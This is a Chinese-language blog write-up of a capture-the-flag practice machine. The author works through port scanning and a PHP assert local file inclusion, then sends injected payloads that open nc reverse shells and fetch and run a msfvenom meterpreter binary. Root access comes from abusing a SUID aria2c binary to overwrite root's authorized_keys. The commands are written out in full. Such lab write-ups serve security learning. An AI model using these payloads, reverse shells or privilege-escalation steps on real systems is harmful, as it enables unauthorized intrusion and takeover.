**写在前面:**记录博主的一次不完美的打靶经历。
目录
1. 主机发现
目前只知道目标靶机在65.xx网段,通过如下的命令,看看这个网段上在线的主机。
$ nmap -sP 192.168.65.0/24
通过扫描,锁定目标靶机的地址为192.168.65.198,198是kali主机的地址。
2. 端口扫描
通过下面的命令进行一下全端口扫描。
$ sudo nmap -p- 192.168.65.198
这个靶机只开放了22号端口和80号端口。
3. 服务枚举
通过下面的命令,枚举一下两个端口上跑的服务。
$ sudo nmap -p22,80 -A -sV -sT 192.168.65.198
通过这些信息,我们基本上确定了22端口上跑的是openssh服务,版本是7.6p1;80端口上跑的是Apache服务,版本是2.4.9;目标靶机是Ubuntu系统,内核版本大致在4.15~5.6之间。
4. 服务探查
接下来我们将探查一下Apache服务。先从浏览器开始。
4.1 浏览器访问
看上去貌似是一个健身俱乐部的网站,快速点击一下页面,没看到有价值想的信息。
4.2 目录枚举
接下来,我们通过下面的命令进行一下目录枚举。
$ dirb http://192.168.65.198
挂上big.txt字典再扫描一下试试看。
$ dirb http://192.168.65.198 /usr/share/wordlists/dirb/big.txt -r
再用dirsearch扫描一下。
$ dirsearch -u http://192.168.65.198
再用dirb挂在big字典扫描一下php。
$ dirb http://192.168.65.198 /usr/share/wordlists/dirb/big.txt -X .php
4.3 目录探查
对上面扫描出来的目录,进去探查一下,并没与发现实际有用的内容,好不容易有个填写联系方式的地方,其实并没法提交信息。
4.4 小结
到目前为止,没有一点进展,80端口上没有发现可疑的内容,22端口上的hydra爆破也没有结果。只能求助于网络了,果真有网络大神在B站上分享了整个攻击过程(https://www.bilibili.com/video/BV1VT4y1z7mT/?spm_id_from=333.788
)。接下来就是看看按照大神的思路是不是可以走下去。
5. 本地文件包含漏洞分析与利用
按照这位大神的说法,这个站点下有一些“index.php?page=xxx
”的页面,并且/pages/路径下还有对应的php文件,说这里很有可能存在本地文件包含漏洞。(大神就是牛逼啊,一眼就看出了问题的所在,我把这里直接忽略了,实在是无知者无畏!)
接下来google搜索一下有关PHP assert的LFI,会找到一个git上的地址(https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/file-inclusion/README.md
)。
对上图中所示的内容进行URL编码(网上工具很多,在线的也有,我用的是站长工具:https://tool.chinaz.com/tools/urlencode.aspx
,因为我百度了多个都不靠谱),编码后的内容为“%27%20and%20die(show_source(%27%2Fetc%2Fpasswd%27))%20or%20%27
”。
接下来将之前访问http://192.168.65.198/index.php?page=gallery
的history中的记录通过邮件菜单“Send to Repeater”发送到Repeater中,然后在Repeater的Request界面中将原来的gallery替换成我们URL编码后的内容。
然后点击左上角的Send,发出请求。这个时候我们的response中得到了目标靶机“/etc/passwd”的内容。
这里确实可以使用本地文件包含的漏洞,接下来我们使用前面git上的另外一个payload ' and die(system("whoami")) or '
,把其中的whomai替换成我们要构建反弹shell的命令,修改后的payload如下。
' and die(system("sh -i 2>&1 | nc 192.168.65.189 4444")) or '
将上面的payload进行URL编码后(%27%20and%20die(system(%22sh%20-i%202%3E%261%20%7C%20nc%20192.168.65.189%204444%22))%20or%20%27
),用同样的方法在Burp中请求(请求之前记得现在本地对应的端口上监听)。
貌似反弹失败了,搜一下这个错误试试看,将payload简单修改一下(sh修改成/bin/bash)。
' and die(system("/bin/bash -i 2>&1 | nc 192.168.65.189 4444")) or '
进行URL编码后继续请求。
还是有些异常,继续修改。
' and die(system("/usr/bin/bash -i 2>&1 | nc 192.168.65.189 4444")) or '
URL编码后继续请求,还是异常。
我们不猜测了,接下来直接用水獭大神的方法,通过下面的命令用msfvenom生成反弹shell的elf文件。
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.65.189 LPORT=4444 -f elf > shell.elf
接下来想办法把这个elf文件上传到靶机上面。先在kali上启动http服务。
python3 -m http.server 80
然后将下面包含wget的payload进行URL编码后通过Burp请求。
' and die(system("wget http://192.168.65.189/shell.elf")) or '
只返回了200 ok,看不到实际结果,我们通过下面的命令URL编码后,看看有没有上传成功。
' and die(system("ls -lah")) or '
目录下没有找到对应的elf文件,看来是没有上传成功,可能是当前目录没有写权限,下载到tmp目录试试看。
' and die(system("wget http://192.168.65.189/shell.elf -O /tmp/shell.elf")) or '
再通过ls命令查看一下。
' and die(system("ls -lah /tmp")) or '
应该是上传成功了。然后给我们上传的shell赋予执行权限。
' and die(system("chmod u+x /tmp/shell.elf")) or '
然后在kali主机上启动4444端口的监听,并在靶机上执行/tmp/shell.elf文件。
' and die(system("/tmp/shell.elf")) or '
返回消息为空,并且监听也没有成功建立,有可能是我直接用“nc -lvnp 4444”建立监听的原因。接下来按照水獭大神的做法,通过Metasploit建立监听。
$ msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set LHOST 192.168.65.189
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
接下来我们继续通过前面的方式运行一下靶机上的/tmp/shell.elf。
' and die(system("/tmp/shell.elf")) or '
虽然这次的响应仍然是空的,但是实际上监听建立成功了。接下来尝试查看一下详细信息。
虽然这次的响应仍然是空的,但是实际上监听建立成功了。接下来尝试查看一下详细信息。
确实可以正常执行shell,接下来的任务就是提权了。
6. 提权
6.1 探查/etc/passwd
从上面的输出应该可以看出,root、soz、fnx是有相对正常的shell权限的。基于之前的教训,先在这里尝试一下弱密码提权。
看来这个途径是行不通了,直接尝试向passwd文件添加一个root权限的用户。
$ openssl passwd test123
$ echo "testusr:$1$.69upiMz$aV4Mw4n3Xsen28aK6TEwX1:0:0:root:/root:/bin/bash" >> /etc/passwd
这是徒劳的。
6.2 枚举可执行文件
用下面的命令,搜索一下root用户所有的,其它用户可读可写的可执行文件。
$ find / -type f -user root -perm -o=w 2>/dev/null
这里跟之前一样,除了/proc目录和/sys目录下的内容,并没有发现实际有价值的信息。然后搜索一下带有SUID标记的二进制文件。
$ find / -perm -u=s -type f 2>/dev/null
查询结果倒是挺多,貌似没有什么可用的,直接用sudo -l查看一下试试。
嗯,不允许。
6.3 枚举定时任务
接下来通过查看crontab文件看看有哪些定时任务在执行。
貌似也没有在执行的定时任务。
6.4 home目录探查
接下来探查一下当前用户的home目录。
/var/www就是当前www-data用户的home目录,下面只有一个html的子目录。
通过翻找,在/var/www/html/.todeletelater目录下发现了一个名为id_rsa的私钥文件,除此之外没有发现可以的内容。
接下来我们直接尝试用这个key从kali上以root用户登录靶机。
貌似不行,修改一下权限,然后继续。
额,id_rsa密钥有密码,看来没法直接用了。
6.5 操作系统信息枚举
6.6 公共EXP搜索
先搜索一下Ubuntu操作系统的。
精准命中啊,直接弄下来看看。
从代码来看,这个EXP的利用也比较明确,那就按照这个一步一步来吧。
先把build-alpine下载下来。
$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
然后切换到root用户进行build。
$ su root
# bash build-alpine
通过python http.server和wget将编译好的.tar.gz文件以及shell脚本上传到目标靶机,不再赘述。
执行提权操作的时候,始终报如下的错误,貌似没有权限在当前目录写临时文件.config。
6.7 linpeas提权
没有其它的招数了,借用水獭大神的思路,使用linpeas试试看。
说明:这里只是借用水獭大神使用linpeas的思路,具体还是自己努力挖掘比较好,这对提升能力也是有帮助的。
先把脚本从git下载到kali本地。
$ wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
然后启动http服务上传到目标靶机的/tmp目录下,不再赘述。接下来直接运行linpeas脚本,大神特别交代。
$ sh /tmp/linpeas.sh
这个工具的牛逼之处在于以不同的颜色标记找到的内容,比如红色和黄色的大概有95%的概率是提权向量,并且红色的需要格外注意。
在linpeas的输出信息中,下面的几个点格外引人注意。
我们先看看第一个CVE漏洞CVE-2019-7304。网上搜索了一下,这个貌似是利用安装Ubuntu的时候默认安装的snap服务的一个漏洞,通过利用名为dirty_sock(脏牛)的攻击代码可以基于snap服务进行提权。并且通过Git上关于dirty_sock的说明得知,对于2.37.1或者更新的版本上,都不再存在这个漏洞。
先查看一下我们当前靶机上的snap版本吧。
额,不在这个EXP的范围内,不过有网友说4.x版本上也有存在这个漏洞的案例。既然这样,我们把dirty_sock的代码弄下来试试看,说不定攻进去了呢。
$ git clone https://github.com/initstring/dirty_sock.git
将代码打个包。
$ tar -czvf dirty_sock.tar.gz dirty_sock
然后上传到目标靶机,这里不再赘述。然后在靶机上解包,进入dirty_sock目录,然后执行。
$ tar -zxvf dirty_sock.tar.gz
$ cd dirty_sock
$ python3 dirty_sockv2.py
这个漏洞在我的靶机上确实是补上了,如果执行成功的话,这个EXP会以dirty_sock为用户名密码在我们的靶机上创建一个账号,进入这个用户之后可以在/etc/shadow下找到用户密码相关的一些信息。接下来我们转向CVE-2002-1614看看。
这个漏洞貌似主要还是针对HP-Unix的,这里直接跳过。接下来是好一个aria2c的程序,貌似这个程序具备SUID权限。可是不知道怎么用啊,这个玩意儿对我来说太陌生了,就连它是干什么的我都不知道,google搜索吧(我直接搜索的aria2c privilege escalation)。
通过搜索发现,aria2c是一个下载工具,拥有SUID权限的话,意味着可以用它下载任何内容,并且可以保存在任意位置。这就有点意思了,我们是不是可以创建一对密钥,然后把公钥上传到靶机上的/root/.ssh下,让靶机相信我的kali攻击机,然后直接通过key以root用户身份进入到靶机呢?貌似可行性很高啊!动起手来。
现在kali上生成密钥对。
$ cd ~/.ssh
$ ssh-keygen -t rsa
$ ls -lah
接下来,我们将公钥id_rsa.pub拷贝到我们的工作目录下,然后上传到目标靶机的/root/.ssh目录下面,如果root下面有对应的密钥的话,直接覆盖掉。
$ cat ~/.ssh/id_rsa.pub >> ~/00000/Assertion /authorized_keys
$ cd ~/00000/Assertion
$ python3 -m http.server 80
在目标靶机上用aria2c下载这个公钥。
/usr/bin/aria2c -d /root/.ssh/ -o authorized_keys "http://192.168.65.189/authorized_keys" --allow-overwrite=true
上传成功,激动人心的时刻到了,我们直接用root用户登录试试看。
$ ssh root@192.168.65.198
惊不惊喜?意不意外?